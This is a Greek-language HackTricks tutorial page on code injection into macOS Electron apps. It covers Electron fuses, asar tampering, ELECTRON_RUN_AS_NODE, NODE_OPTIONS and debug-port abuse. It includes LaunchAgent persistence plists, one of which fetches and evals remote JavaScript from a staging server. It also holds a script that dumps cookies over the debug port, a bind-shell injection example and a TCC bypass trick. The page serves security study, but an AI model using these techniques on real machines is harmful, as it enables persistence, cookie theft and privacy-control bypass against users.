macOS Electron Applications Injection

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε πολλές πληροφορίες εδώ. Αλλά για τώρα απλά γνωρίστε ότι το Electron εκτελεί node. Και το node έχει μερικές παραμέτρους και μεταβλητές περιβάλλοντος που μπορούν να χρησιμοποιηθούν για να το κάνουν να εκτελέσει άλλον κώδικα εκτός από τον καθορισμένο αρχείο.

Συγχώνευση Electron

Αυτές οι τεχνικές θα συζητηθούν στη συνέχεια, αλλά το Electron έχει προσθέσει πρόσφατα αρκετές σημαίες ασφαλείας για να τις αποτρέψει. Αυτές είναι οι Συγχωνεύσεις Electron και αυτές είναι αυτές που χρησιμοποιούνται για να αποτρέψουν τις εφαρμογές Electron σε macOS από το φόρτωμα αυθαίρετου κώδικα:

  • RunAsNode: Εάν είναι απενεργοποιημένο, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος ELECTRON_RUN_AS_NODE για την εισαγωγή κώδικα.

  • EnableNodeCliInspectArguments: Εάν είναι απενεργοποιημένο, παράμετροι όπως --inspect, --inspect-brk δεν θα τηρούνται. Αποφεύγοντας έτσι την εισαγωγή κώδικα.

  • EnableEmbeddedAsarIntegrityValidation: Εάν είναι ενεργοποιημένο, το φορτωμένο asar αρχείο θα ελεγχθεί από το macOS. Αποτρέποντας με αυτόν τον τρόπο την εισαγωγή κώδικα με τροποποίηση του περιεχομένου αυτού του αρχείου.

  • OnlyLoadAppFromAsar: Εάν αυτό είναι ενεργοποιημένο, αντί να αναζητά να φορτώσει με την ακόλουθη σειρά: app.asar, app και τελικά default_app.asar. Θα ελέγχει και θα χρησιμοποιεί μόνο το app.asar, εξασφαλίζοντας έτσι όταν συνδυαστεί με τη συγχώνευση embeddedAsarIntegrityValidation είναι αδύνατο να φορτωθεί μη-επικυρωμένος κώδικας.

  • LoadBrowserProcessSpecificV8Snapshot: Εάν είναι ενεργοποιημένο, η διεργασία περιήγησης χρησιμοποιεί το αρχείο που ονομάζεται browser_v8_context_snapshot.bin για το στιγμιότυπο του V8.

Μια άλλη ενδιαφέρουσα συγχώνευση που δεν θα αποτρέψει την εισαγωγή κώδικα είναι:

  • EnableCookieEncryption: Εάν είναι ενεργοποιημένο, το αποθετήριο cookie στο δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογράφησης σε επίπεδο λειτουργικού συστήματος.

Έλεγχος Συγχωνέύσεων Electron

Μπορείτε να ελέγξετε αυτές τις σημαίες από μια εφαρμογή με:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Τροποποίηση των Ηλεκτρονικών Ασφαλμάτων

Όπως αναφέρονται στα έγγραφα, η διαμόρφωση των Ηλεκτρονικών Ασφαλμάτων γίνεται μέσα στο Ηλεκτρονικό δυαδικό που περιέχει κάπου το συμβολοσειρά dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

Στις εφαρμογές macOS αυτό βρίσκεται συνήθως στο application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Μπορείτε να φορτώσετε αυτό το αρχείο στο https://hexed.it/ και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτήν τη συμβολοσειρά, μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδηλώνει εάν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (0x30 είναι 0 και 0x31 είναι 1) για τροποποίηση των τιμών των ασφαλειών.

Σημείωση ότι αν προσπαθήσετε να αντικαταστήσετε το δυαδικό αρχείο του Electron Framework μέσα σε μια εφαρμογή με αυτά τα bytes τροποποιημένα, η εφαρμογή δεν θα εκκινήσει.

RCE προσθέτοντας κώδικα σε Εφαρμογές Electron

Μπορεί να υπάρχουν εξωτερικά αρχεία JS/HTML που χρησιμοποιεί μια Εφαρμογή Electron, έτσι ένας επιτιθέμενος μπορεί να ενθέσει κώδικα σε αυτά τα αρχεία, η υπογραφή των οποίων δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής.

Ωστόσο, προς το παρόν υπάρχουν 2 περιορισμοί:

  • Η άδεια kTCCServiceSystemPolicyAppBundles είναι απαραίτητη για την τροποποίηση μιας Εφαρμογής, οπότε από προεπιλογή αυτό δεν είναι πλέον δυνατό.

  • Το μεταγλωττισμένο αρχείο asap συνήθως έχει τις ασφάλειες embeddedAsarIntegrityValidation και onlyLoadAppFromAsar ενεργοποιημένες

Κάνοντας αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο).

Σημειώστε ότι είναι δυνατό να παρακάμψετε την απαίτηση της kTCCServiceSystemPolicyAppBundles με το να αντιγράψετε την εφαρμογή σε έναν άλλο κατάλογο (όπως /tmp), να μετονομάσετε τον φάκελο app.app/Contents σε app.app/NotCon, τροποποιήστε το αρχείο asar με τον κακόβουλο κώδικά σας, να το μετονομάσετε πίσω σε app.app/Contents και να το εκτελέσετε.

Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με:

npx asar extract app.asar app-decomp

Και συμπιέστε το πίσω μετά την τροποποίησή του με:

npx asar pack app-decomp app-new.asar

RCE με το ELECTRON_RUN_AS_NODE

Σύμφωνα με τα έγγραφα, εάν αυτή η μεταβλητή περιβάλλοντος είναι ορισμένη, θα ξεκινήσει τη διαδικασία ως ένα κανονικό διεργασία Node.js.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Αν η προστασία RunAsNode είναι απενεργοποιημένη, η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE θα αγνοηθεί και αυτό δεν θα λειτουργήσει.

Έγχυση από το Plist της Εφαρμογής

Όπως προτάθηκε εδώ, μπορείτε να καταχραστείτε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE με NODE_OPTIONS

Μπορείτε να αποθηκεύσετε το φορτίο σε διαφορετικό αρχείο και να το εκτελέσετε:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Αν η ασφάλεια EnableNodeOptionsEnvironmentVariable είναι απενεργοποιημένη, η εφαρμογή θα αγνοήσει τη μεταβλητή περιβάλλοντος NODE_OPTIONS όταν εκκινηθεί εκτός αν η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE είναι ορισμένη, η οποία θα αγνοηθεί επίσης αν η ασφάλεια RunAsNode είναι απενεργοποιημένη.

Αν δεν ορίσετε το ELECTRON_RUN_AS_NODE, θα εμφανιστεί το σφάλμα: Οι περισσότερες NODE_OPTIONs δεν υποστηρίζονται σε συσκευασμένες εφαρμογές. Δείτε την τεκμηρίωση για περισσότερες λεπτομέρειες.

Έγχυση από το Plist της Εφαρμογής

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE με επιθετική επιθεύση

Σύμφωνα με αυτό, εάν εκτελέσετε μια εφαρμογή Electron με σημαίες όπως --inspect, --inspect-brk και --remote-debugging-port, ένα θύρα εντοπισμού σφαλμάτων θα είναι ανοιχτή ώστε να μπορείτε να συνδεθείτε σε αυτήν (για παράδειγμα από το Chrome στο chrome://inspect) και θα μπορείτε να εισάγετε κώδικα σε αυτήν ή ακόμη και να εκκινήσετε νέες διεργασίες. Για παράδειγμα:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Εάν το ασφαλιστικό EnableNodeCliInspectArguments είναι απενεργοποιημένο, η εφαρμογή θα αγνοήσει τις παραμέτρους του node (όπως --inspect) όταν ξεκινήσει εκτός αν η μεταβλητή περιβάλλοντος ELECTRON_RUN_AS_NODE είναι ορισμένη, η οποία θα αγνοηθεί επίσης εάν το ασφαλιστικό RunAsNode είναι απενεργοποιημένο.

Ωστόσο, μπορείτε ακόμα να χρησιμοποιήσετε την παράμετρο electron --remote-debugging-port=9229 αλλά το προηγούμενο φορτίο δεν θα λειτουργήσει για την εκτέλεση άλλων διεργασιών.

Χρησιμοποιώντας την παράμετρο --remote-debugging-port=9222 είναι δυνατόν να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το ιστορικό (με GET εντολές) ή τα cookies του προγράμματος περιήγησης (καθώς αποκρυπτογραφούνται μέσα στον περιηγητή και υπάρχει ένα json endpoint που θα τα δώσει).

Μπορείτε να μάθετε πώς να το κάνετε αυτό σε εδώ και εδώ και να χρησιμοποιήσετε το αυτόματο εργαλείο WhiteChocolateMacademiaNut ή ένα απλό σενάριο όπως:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Στο συγκεκριμένο blogpost, αυτή η αποσφαλμάτωση καταχρηστεύεται για να κάνει το headless chrome να κατεβάσει αυθαίρετα αρχεία σε αυθαίρετες τοποθεσίες.

Έγχυση από το App Plist

Μπορείτε να καταχρηστεύσετε αυτήν τη μεταβλητή περιβάλλοντος σε ένα plist για να διατηρήσετε την επιμονή προσθέτοντας αυτά τα κλειδιά:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Παράκαμψη TCC εκμεταλλευόμενος Παλαιότερες Εκδόσεις

Το TCC daemon του macOS δεν ελέγχει την εκτελούμενη έκδοση της εφαρμογής. Έτσι, αν δεν μπορείτε να ενθάρρυνετε κώδικα σε μια εφαρμογή Electron με καμία από τις προηγούμενες τεχνικές, μπορείτε να κατεβάσετε μια προηγούμενη έκδοση της ΕΦΑΡΜΟΓΗΣ και να ενθάρρυνετε κώδικα σε αυτήν καθώς θα εξακολουθεί να λαμβάνει τα δικαιώματα TCC (εκτός αν το Trust Cache το εμποδίζει).

Εκτέλεση μη JS Κώδικα

Οι προηγούμενες τεχνικές θα σας επιτρέψουν να εκτελέσετε JS κώδικα μέσα στη διαδικασία της εφαρμογής electron. Ωστόσο, θυμηθείτε ότι οι υποδιεργασίες εκτελούνται υπό το ίδιο προφίλ αμμοθοχώρου με τη γονική εφαρμογή και κληρονομούν τα δικαιώματα TCC τους. Επομένως, αν θέλετε να εκμεταλλευτείτε τις αδειοδοτήσεις για πρόσβαση στην κάμερα ή το μικρόφωνο για παράδειγμα, απλά μπορείτε να εκτελέσετε ένα άλλο δυαδικό από τη διαδικασία.

Αυτόματη Ενθάρρυνση

Το εργαλείο electroniz3r μπορεί να χρησιμοποιηθεί εύκολα για να εντοπίσει ευάλωτες εφαρμογές electron που έχουν εγκατασταθεί και να ενθαρρύνει κώδικα σε αυτές. Αυτό το εργαλείο θα προσπαθήσει να χρησιμοποιήσει την τεχνική --inspect:

Πρέπει να το μεταγλωτίσετε μόνοι σας και μπορείτε να το χρησιμοποιήσετε ως εξής:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Αναφορές

Υποστηρίξτε το HackTricks

Last updated